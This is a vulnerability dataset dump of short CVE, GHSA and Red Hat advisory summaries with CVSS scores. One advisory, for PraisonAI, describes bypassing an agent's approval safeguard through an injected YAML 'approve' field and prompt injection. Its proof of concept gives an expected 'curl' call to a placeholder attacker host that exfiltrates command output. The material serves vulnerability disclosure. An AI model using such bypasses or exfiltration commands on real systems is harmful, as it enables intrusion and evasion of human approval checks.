ansulev/circl-vulnerability-scores huggingface dataset:
GHSA-3xmf-m2fg-h94r: A vulnerability in the implementation of the Simple Network Management Protocol (SNMP) IPv4 access control list (ACL) feature of Cisco IOS Software and Cisco IOS XE Software could allow an unauthenticated, remote attacker to perform SNMP polling of an affected device, even if it is configured to deny SNMP traffic.&nbsp;This vulnerability exists because Cisco IOS Software and Cisco IOS XE Software do not support extended IPv4 ACLs for SNMP, but they do allow administrators to configure extended named IPv4 ACLs that are attached to the SNMP server configuration without a warning message. This can result in no ACL being applied to the SNMP listening process. An attacker could exploit this vulnerability by performing SNMP polling of an affected device. A successful exploit could allow the attacker to perform SNMP operations that should be denied. The attacker has no control of the SNMP ACL configuration and would still need a valid SNMP version 2c (SNMPv2c) community string or SNMP version 3 (SNMPv3) user credentials.
SNMP with IPv6 ACL configurations is not affected.
For more information, see the  section of this advisory.
CVSS v3.1: 5.3
CVE-2024-49614: WordPress SermonAudio Widgets plugin <= 1.9.3 - SQL Injection vulnerability
Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in SermonAudio SermonAudio Widgets sermonaudio-widgets allows SQL Injection.This issue affects SermonAudio Widgets: from n/a through <= 1.9.3.
CVSS v3.1: 8.5
GHSA-pq4m-hq9c-2vrf: UTT Aggressive 520W v3v1.7.7-180627 was discovered to contain a buffer overflow in the addCommand parameter of the formConfigCliForEngineerOnly function. This vulnerability allows attackers to cause a Denial of Service (DoS) via a crafted input.
CVSS v3.1: 4.5
CVE-2020-4849: IBM Tivoli Netcool Impact 7.1.0.0 through 7.1.0.19 Interim Fix 7 could allow a remote attacker to bypass security restrictions, caused by a reverse tabnabbing flaw. An attacker could exploit this vulnerability and redirect a vitcim to a phishing site. IBM X-Force ID: 190294.
CVSS v3.0: 5.3
GHSA-v3rv-q539-p6m8: Windows Error Reporting Service Elevation of Privilege Vulnerability.
CVSS v3.1: 7.8
CVE-2025-68944: Gitea before 1.22.2 sometimes mishandles the propagation of token scope for access control within one of its own package registries.
CVSS v3.1: 5
GHSA-pr4h-qc8v-fg8v: The OpenType Font (OTF) driver in Microsoft Windows XP SP2 and SP3, Windows Server 2003 SP2, Windows Vista SP1 and SP2, Windows Server 2008 Gold, SP2, and R2, and Windows 7 allows local users to gain privileges via a crafted CMAP table in an OpenType font, aka "OpenType CMAP Table Vulnerability."
GHSA-vfc9-wq46-7qcx: A vulnerability was found in CodeAstro POS System 1.0. It has been declared as critical. Affected by this vulnerability is an unknown functionality of the file /profil of the component Profile Picture Handler. The manipulation leads to unrestricted upload. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. The identifier VDB-243601 was assigned to this vulnerability.
CVSS v3.0: 6.3
GHSA-r79f-v7w7-jv39: TOTOLINK A6000R V1.0.1-B20201211.2000 was discovered to contain a command injection vulnerability via the devname parameter in the reset_wifi function.
CVSS v3.1: 6.3
GHSA-vg47-w4gh-x9wq: Cross-site scripting (XSS) vulnerability in the Rendezvous Daemon (rvd), Rendezvous Routing Daemon (rvrd), Rendezvous Secure Daemon (rvsd), and Rendezvous Secure Routing Daemon (rvsrd) in TIBCO Rendezvous before 8.4.2, Messaging Appliance before 8.7.1, and Substation ES before 2.8.1 allows remote attackers to inject arbitrary web script or HTML via unspecified vectors.
CVE-2025-63035: WordPress WPLMS plugin <= 1.9.9.5.4 - Cross Site Scripting (XSS) vulnerability
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in VibeThemes WPLMS wplms_plugin allows DOM-Based XSS.This issue affects WPLMS: from n/a through <= 1.9.9.5.4.
CVSS v3.1: 6.5
CVE-2020-14307: A vulnerability was found in Wildfly's Enterprise Java Beans (EJB) versions shipped with Red Hat JBoss EAP 7, where SessionOpenInvocations are never removed from the remote InvocationTracker after a response is received in the EJB Client, as well as the server. This flaw allows an attacker to craft a denial of service attack to make the service unavailable.
CVSS v3.1: 6.5
CVE-2025-48583: In multiple functions of BaseBundle.java, there is a possible way to execute arbitrary code due to a logic error in the code. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.
CVSS v3.1: 7.8
CVE-1999-0355: Local or remote users can force ControlIT 4.5 to reboot or force a user to log out, resulting in a denial of service.
CVSS v2.0: 5
GHSA-63hq-54rp-qh3p: A vulnerability has been found in D-Link DCS-5615 1.01.00. Affected by this vulnerability is an unknown functionality of the file /etc/conf.d/boa/boa.conf of the component Boa Webserver. Such manipulation leads to least privilege violation. The attack can be executed remotely. The exploit has been disclosed to the public and may be used.
CVSS v4.0: 5.5
CVSS v3.1: 5.3
CVE-2022-32236: When a user opens manipulated Windows Bitmap (.bmp, 2d.x3d) files received from untrusted sources in SAP 3D Visual Enterprise Viewer, the application crashes and becomes temporarily unavailable to the user until restart of the application.
CVSS v3.1: 5.5
CVSS v2.0: 4.3
GHSA-9cmg-x6p3-95g2: PHP remote file inclusion vulnerability in admin/header.php in PHP mcNews 1.3 allows remote attackers to execute arbitrary PHP code by modifying the skinfile parameter to reference a URL on a remote web server that contains the code.
GHSA-g8mh-986p-76jj: Microsoft SharePoint Server Remote Code Execution Vulnerability. This CVE ID is unique from CVE-2022-30158.
CVSS v3.1: 8.8
CVE-2025-23810: WordPress Len Slider Plugin <= 2.0.11 - CSRF to Reflected Cross Site Scripting (XSS) vulnerability
Cross-Site Request Forgery (CSRF) vulnerability in Igor Sazonov Len Slider len-slider allows Reflected XSS.This issue affects Len Slider: from n/a through <= 2.0.11.
CVSS v3.1: 7.1
CVE-2008-2501: Multiple SQL injection vulnerabilities in PHPhotoalbum 0.5 allow remote attackers to execute arbitrary SQL commands via the (1) album parameter to thumbnails.php and the (2) pid parameter to displayimage.php.
CVSS v2.0: 7.5
RHSA-2025:4030: Red Hat Security Advisory: thunderbird security update
firefox: thunderbird: Use-after-free triggered by XSLTProcessor firefox: thunderbird: URL Bar Spoofing via non-BMP Unicode characters firefox: thunderbird: Memory safety bugs fixed in Firefox 137, Thunderbird 137, Firefox ESR 128.9, and Thunderbird 128.9
CVSS v3.1: 8.8
GHSA-8wv5-4mjg-mcjg: Cross-Site Request Forgery (CSRF) vulnerability in Marcin Kijak Noindex by Path allows Stored XSS.This issue affects Noindex by Path: from n/a through 1.0.
CVSS v3.1: 7.1
CVE-2026-1985: Press3D <= 1.0.2 - Authenticated (Author+) Stored Cross-Site Scripting via Link URL Parameter in 3D Model Block
The Press3D plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 3D Model Gutenberg block in all versions up to, and including, 1.0.2. This is due to the plugin failing to sanitize and validate the URL scheme when storing link URLs for 3D model blocks, allowing `javascript:` URLs. This makes it possible for authenticated attackers, with Author-level access and above, to inject arbitrary web scripts in pages via the link URL parameter that will execute whenever a user clicks on the 3D model.
CVSS v3.1: 6.4
CVE-2022-47891: Admin password reset in NetMan 204
All versions of NetMan 204 allow an attacker that knows the MAC and serial number of the device to reset the administrator password via the legitimate recovery function.
CVSS v3.1: 8.1
CVE-2022-46802: WordPress Product Reviews Import Export for WooCommerce Plugin <= 1.4.8 is vulnerable to CSV Injection
Improper Neutralization of Formula Elements in a CSV File vulnerability in WebToffee Product Reviews Import Export for WooCommerce.This issue affects Product Reviews Import Export for WooCommerce: from n/a through 1.4.8.
CVSS v3.1: 6.1
CVE-2026-44863: Authenticated Remote Code Execution via SQL Injection in AOS-8 and AOS-10 Operating Systems
SQL injection vulnerabilities exist in several underlying service components accessible through the AOS-8 and AOS-10 command-line interface and management protocol. An authenticated attacker with administrative privileges could exploit these vulnerabilities by injecting crafted input into parameters that are passed unsanitized to backend database queries. Successful exploitation could allow the attacker to execute arbitrary commands on the underlying operating system.
CVSS v3.1: 7.2
RHSA-2020:3303: Red Hat Security Advisory: Red Hat JBoss Web Server 3.1 Service Pack 10 security update
tomcat: Mishandling of Transfer-Encoding header allows for HTTP request smuggling tomcat: multiple requests with invalid payload length in a WebSocket frame could lead to DoS
CVSS v3.1: 7.5
CVE-2017-11107: phpLDAPadmin through 1.2.3 has XSS in htdocs/entry_chooser.php via the form, element, rdn, or container parameter.
CVSS v3.1: 6.1
CVSS v2.0: 4.3
GHSA-839v-3vpr-fpgf: Privilege escalation in the Netmonitor component. This vulnerability affects Firefox < 148 and Firefox ESR < 140.8.
CVSS v3.1: 9.8
GHSA-3fff-mm56-4v59: Multiple cross-site scripting (XSS) vulnerabilities in (1) templates/admanagement/admanagement.php and (2) templates/adspot/adspot.php in the ResAds plugin before 1.0.2 for WordPress allow remote attackers to inject arbitrary web script or HTML via the page parameter.
CVSS v3.0: 6.1
RHSA-2009:0428: Red Hat Security Advisory: cups security update
cups: Integer overflow in the TIFF image filter
CVE-2022-0183: Missing encryption of sensitive data vulnerability in 'MIRUPASS' PW10 firmware all versions and 'MIRUPASS' PW20 firmware all versions allows an attacker who can physically access the device to obtain the stored passwords.
CVSS v3.1: 4.6
CVSS v2.0: 2.1
CVE-2024-8459: PLANET Technology switch devices - Cleartext storage of SNMPv3 users' passwords
Certain switch models from PLANET Technology store SNMPv3 users' passwords in plaintext within the configuration files, allowing remote attackers with administrator privileges to read the file and obtain the credentials.
CVSS v3.1: 7.2
CVE-2026-39199: snes9x 1.63 allows an out-of-bounds write and denial of service via a crafted .ups file.
CVSS v3.1: 2.9
CVE-2026-35519: Pi-hole FTL affected by Remote Code Execution (RCE) via dns.hostRecord Newline Injection
FTLDNS (pihole-FTL) provides an interactive API and also generates statistics for Pi-hole's Web interface. From 6.0 to before 6.6, the Pi-hole FTL engine contains a Remote Code Execution (RCE) vulnerability in the DNS host record configuration parameter (dns.hostRecord). This vulnerability allows an authenticated attacker to inject arbitrary dnsmasq configuration directives through newline characters, ultimately achieving command execution on the underlying system. This vulnerability is fixed in 6.6.
CVSS v3.1: 8.8
CVE-2014-0192: Foreman 1.4.0 before 1.5.0 does not properly restrict access to provisioning template previews, which allows remote attackers to obtain sensitive information via the hostname parameter, related to "spoof."
CVSS v2.0: 5
GHSA-65m7-7mf5-g6wj: Trend Micro Security 2021 and 2022 (Consumer) is vulnerable to an Out-Of-Bounds Read Information Disclosure Vulnerability that could allow an attacker to read sensitive information from other memory locations and cause a crash on an affected machine. This vulnerability is similar to, but not the same as CVE-2022-37347.
CVSS v3.1: 5.5
CVE-2020-28722: Deskpro Cloud Platform and on-premise 2020.2.3.48207 from 2020-07-30 contains a cross-site scripting (XSS) vulnerability that can lead to an account takeover via custom email templates.
CVSS v3.1: 5.4
CVSS v2.0: 3.5
GHSA-vvwg-mm2q-wvgr: In JetBrains PyCharm before 2022.1 exposure of the debugger port to the internal network was possible
CVSS v3.1: 3.5
GHSA-wxv8-w48j-r2f4: `xml.parsers.expat` and `xml.etree.ElementTree` use insufficient entropy for Expat hash-flooding protection, which allows a crafted XML document to trigger hash flooding.\r\n\r\nFully mitigating this vulnerability requires both updating libexpat to 2.8.0 or later and applying this patch.
CVSS v4.0: 6.3
CVSS v3.1: 9.8
GHSA-rm7h-f39f-xc8f: Some Lenovo Notebook, ThinkPad, and Lenovo Desktop systems have BIOS modules unprotected by Intel Boot Guard that could allow an attacker with physical access the ability to write to the SPI flash storage.
CVE-2017-8896: ownCloud Server before 8.2.12, 9.0.x before 9.0.10, 9.1.x before 9.1.6, and 10.0.x before 10.0.2 are vulnerable to XSS on error pages by injecting code in url parameters.
CVSS v3.0: 6.1
CVSS v2.0: 4.3
GHSA-339w-3hqm-9pjc: Casdoor doesn't verify that a JWT used for token exchange is still active
Casdoor versions 2.362.0 and earlier do not verify that a JWT used for token exchange is still active. The GetTokenExchangeToken() function in object/token_oauth.go validates the JWT signature and parses its claims, but never queries the Token table to verify whether the subject token has been revoked or invalidated. Because the revocation check is entirely absent, administrators are unable to terminate active sessions or revoke compromised tokens.
CVSS v3.1: 9.8
CVE-2011-3955: Google Chrome before 17.0.963.46 allows remote attackers to cause a denial of service (application crash) or possibly have unspecified other impact via vectors that trigger the aborting of an IndexedDB transaction.
CVSS v2.0: 7.5
CVE-2024-11424: Slick Sitemap <= 2.0.0 - Authenticated (Contributor+) Stored Cross-Site Scripting
The Slick Sitemap plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'slick-sitemap' shortcode in all versions up to, and including, 2.0.0 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS v3.1: 6.4
GHSA-hpfx-f9hp-pqq6: Use-after-free vulnerability in ports/SkFontHost_FreeType.cpp in Skia, as used in Google Chrome before 51.0.2704.63, allows remote attackers to cause a denial of service (heap memory corruption) or possibly have unspecified other impact via unknown vectors.
CVSS v3.0: 8.8
GHSA-jx72-57vf-qgff: Stack-based buffer overflow in the mk_request_header_process function in mk_request.c in Monkey HTTP Daemon (monkeyd) before 1.2.1 allows remote attackers to cause a denial of service (crash) and possibly execute arbitrary code via a crafted HTTP header.
CVE-2013-3735: The Zend Engine in PHP before 5.4.16 RC1, and 5.5.0 before RC2, does not properly determine whether a parser error occurred, which allows context-dependent attackers to cause a denial of service (memory consumption and application crash) via a crafted function definition, as demonstrated by an attack within a shared web-hosting environment.  NOTE: the vendor's http://php.net/security-note.php page says "for critical security situations you should be using OS-level security by running multiple web servers each as their own user id.
CVSS v3.1: 7.5
CVSS v2.0: 5
CVE-2025-5379: NuCom NC-WR744G Console Application hard-coded credentials
A vulnerability classified as critical was found in NuCom NC-WR744G 8.5.5 Build 20200530.307. This vulnerability affects unknown code of the component Console Application. The manipulation of the argument CMCCAdmin/useradmin/CUAdmin leads to hard-coded credentials. The attack can be initiated remotely. The vendor was contacted early about this disclosure but did not respond in any way.
CVSS v4.0: 5.3
CVSS v3.1: 4.3
CVSS v3.0: 4.3
CVSS v2.0: 4
GHSA-fmqx-hm4f-mfj9: NetApp Clustered Data ONTAP before 8.3.2P11, 9.0 before P4, and 9.1 before P5 allow attackers to obtain sensitive password information by leveraging logging of passwords entered non-interactively on the command line.
CVSS v3.0: 6.5
GHSA-2q7v-r75f-p94f: Format string vulnerability in the host chooser window (gdmchooser) in GNOME Foundation Display Manager (gdm) allows local users to execute arbitrary code via format string specifiers in a hostname, which are used in an error dialog.
CVE-2016-2244: HP LaserJet printers and MFPs and OfficeJet Enterprise printers with firmware before 3.7.01 allow remote attackers to obtain sensitive information via unspecified vectors.
CVSS v3.0: 5.9
CVSS v2.0: 5
CVE-2023-31217: WordPress User Location and IP Plugin <= 1.6 is vulnerable to Cross Site Scripting (XSS)
Auth. (contributor+) Stored Cross-Site Scripting (XSS) vulnerability in MyTechTalky User Location and IP plugin <= 1.6 versions.
CVSS v3.1: 6.5
CVE-2015-5537: The SSL layer of the HTTPS service in Siemens RuggedCom ROS before 4.2.0 and ROX II does not properly implement CBC padding, which makes it easier for man-in-the-middle attackers to obtain cleartext data via a padding-oracle attack, a different vulnerability than CVE-2014-3566.
CVSS v2.0: 4.3
GHSA-f92q-f8xx-j2m6: Use-after-free vulnerability in the kernel-mode drivers in Microsoft Windows Server 2003 SP2 and R2 SP2, Windows Vista SP2, Windows Server 2008 SP2 and R2 SP1, Windows 7 SP1, Windows 8, Windows 8.1, Windows Server 2012 Gold and R2, and Windows RT Gold and 8.1 allows local users to gain privileges via a crafted application, aka "Microsoft Windows Station Use After Free Vulnerability."
CVE-2018-1000838: autopsy version <= 4.9.0 contains a XML External Entity (XXE) vulnerability in CaseMetadata XML Parser that can result in Disclosure of confidential data, denial of service, SSRF, port scanning. This attack appear to be exploitable via Specially crafted CaseMetadata.
CVSS v3.0: 10
CVSS v2.0: 7.5
CVE-2024-7742: wanglongcn ltcms API Endpoint multiDownload server-side request forgery
A vulnerability was found in wanglongcn ltcms 1.0.20. It has been classified as critical. Affected is the function multiDownload of the file /api/file/multiDownload of the component API Endpoint. The manipulation of the argument file leads to server-side request forgery. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.
CVSS v4.0: 6.9
CVSS v3.1: 7.3
CVSS v3.0: 7.3
CVSS v2.0: 7.5
CVE-2021-27179: An issue was discovered on FiberHome HG6245D devices through RP2613. It is possible to crash the telnet daemon by sending a certain 0a 65 6e 61 62 6c 65 0a 02 0a 1a 0a string.
CVSS v3.1: 7.5
CVSS v2.0: 5
CVE-2026-32837: mackron / miniaudio Out-of-Bounds Read in BEXT Coding History Parsing
miniaudio version 0.11.25 and earlier (fixed in commits 1df46ae and 1df46ae) contain a heap out-of-bounds read vulnerability in the WAV BEXT metadata parser that allows attackers to trigger memory access violations by processing crafted WAV files. Attackers can exploit improper null-termination handling in the coding history field to cause out-of-bounds reads past the allocated metadata pool, resulting in application crashes or denial of service.
CVSS v4.0: 5.1
CVSS v3.1: 4
CVE-2025-49739: Visual Studio Elevation of Privilege Vulnerability
Improper link resolution before file access ('link following') in Visual Studio allows an unauthorized attacker to elevate privileges over a network.
CVSS v3.1: 8.8
GHSA-536x-rjq6-h9w6: mstolfp in libntp/mstolfp.c in NTP 4.2.8p15 has an out-of-bounds write in the cp<cpdec while loop.
CVSS v3.1: 5.6
CVE-2006-2303: Cross-Application Scripting (XAS) vulnerability in ICQ Client 5.04 build 2321 and earlier allows remote attackers to inject arbitrary web script from one application into another via a banner, which is processed in the My Computer zone using the Internet Explorer COM object.
CVSS v2.0: 6.4
GHSA-4869-x4pr-q22x: PraisonAI: Unauthenticated RCE via Jobs API + Approval Bypass
Unauthenticated Remote Code Execution via Jobs API and Approval Bypass in PraisonAISummaryAn unauthenticated attacker can execute arbitrary OS commands on any server running
the PraisonAI Jobs API by submitting a crafted workflow YAML. The attack chains two
weaknesses: the `/api/v1/runs` endpoint requires no credentials, and a top-level
`approve` field in the submitted YAML unconditionally bypasses the
`@require_approval` safety decorator on dangerous tools such as `execute_command`.**Ecosystem:** pip | **Package:** `praisonai` | **Affected:** `<= 4.6.48` | **Patched:** *(none)*DetailsStep 1 — No authentication on the Jobs API`POST /api/v1/runs` accepts and executes agent jobs from any caller with no token
or session required:Compare with the authenticated endpoint in `api/agent_invoke.py`, which correctly
includes `Depends(verify_token)`.Step 2 — `approve` YAML field bypasses `@require_approval`The YAML parser extracts an attacker-controlled `approve` list and loads it into a
ContextVar that the approval decorator consults before every tool call:Because the bypass is evaluated before any risk-level check, supplying
`approve: [execute_command]` in the submitted YAML is sufficient to make
`@require_approval(risk_level="critical")` a no-op for that tool.Proof of ConceptExpected result: the server executes `curl http://<ATTACKER>/pwn?output=uid=...`.**Note:** The approval bypass in Step 2 is deterministic. Command execution
depends on the configured LLM following the injected instruction, which is
reliably triggered on any instruction-tuned model.Attack ChainAffected Components| File | Line | Issue |
|------|------|-------|
| `src/praisonai/praisonai/jobs/router.py` | 47 | No `Depends(verify_token)` on `submit_job` |
| `src/praisonai/praisonai/jobs/models.py` | 30 | `agent_yaml` accepted from unauthenticated caller |
| `src/praisonai-agents/praisonaiagents/workflows/yaml_parser.py` | 261 | `approve` YAML field loaded without restriction |
| `src/praisonai-agents/praisonaiagents/workflows/yaml_parser.py` | 370 | Sets `workflow.approve_tools` from YAML |
| `src/praisonai-agents/praisonaiagents/workflows/workflows.py` | 1025–1028 | `set_yaml_approved_tools()` disables approval check |
| `src/praisonai-agents/praisonaiagents/approval/__init__.py` | 179–180 | `is_yaml_approved()` bypass in decorator |
| `src/praisonai-agents/praisonaiagents/tools/shell_tools.py` | 33 | `subprocess.Popen` execution |ImpactFull unauthenticated remote code execution on any host running the Jobs API.
No credentials, no existing session, and no operator interaction required.Recommended FixesFix 1 — Add authentication to the Jobs API (Critical)Fix 2 — Remove or restrict the `approve` YAML field (Critical)
CVSS v3.1: 9.8
CVE-2024-4073: Kashipara Online Furniture Shopping Ecommerce Website prodList.php cross site scripting
A vulnerability was found in Kashipara Online Furniture Shopping Ecommerce Website 1.0. It has been declared as problematic. Affected by this vulnerability is an unknown functionality of the file prodList.php. The manipulation of the argument prodType leads to cross site scripting. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-261799.
CVSS v3.1: 3.5
CVSS v3.0: 3.5
CVSS v2.0: 4
CVE-2021-41506: Xiaongmai AHB7008T-MH-V2, AHB7804R-ELS, AHB7804R-MH-V2, AHB7808R-MS-V2, AHB7808R-MS, AHB7808T-MS-V2, AHB7804R-LMS, HI3518_50H10L_S39 V4.02.R11.7601.Nat.Onvif.20170420, V4.02.R11.Nat.Onvif.20160422, V4.02.R11.7601.Nat.Onvif.20170424, V4.02.R11.Nat.Onvif.20170327, V4.02.R11.Nat.Onvif.20161205, V4.02.R11.Nat.20170301, V4.02.R12.Nat.OnvifS.20170727 is affected by a backdoor in the macGuarder and dvrHelper binaries of DVR/NVR/IP camera firmware due to static root account credentials in the system.
CVSS v3.1: 9.8
CVSS v2.0: 10